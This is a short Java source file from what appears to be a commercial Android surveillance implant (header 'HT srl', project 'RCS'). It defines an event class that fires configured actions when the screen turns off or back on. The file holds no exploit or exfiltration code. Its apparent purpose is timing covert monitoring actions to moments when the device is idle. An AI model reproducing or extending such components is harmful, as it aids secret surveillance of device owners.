/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : EventStandby.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci.event;
import com.android.dvci.Standby;
import com.android.dvci.conf.ConfEvent;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerStandby;
public class EventStandby extends BaseEvent implements Observer<Standby> {
/** The Constant TAG. */
private static final String TAG = "EventStandby"; //$NON-NLS-1$
private int actionOnEnter, actionOnExit;
@Override
public void actualStart() {
ListenerStandby.self().attach(this);
}
@Override
public void actualStop() {
ListenerStandby.self().detach(this);
onExit(); // di sicurezza
}
@Override
public boolean parse(ConfEvent event) {
return true;
}
@Override
public void actualGo() {
}
// Viene richiamata dal listener (dalla dispatch())
public int notification(Standby s) {
// Stato dello schermo ON/OFF
if (s.getStatus() == true) {
// SCREEN ON
onExit();
} else {
// STANDBY
onEnter();
}
return 0;
}
}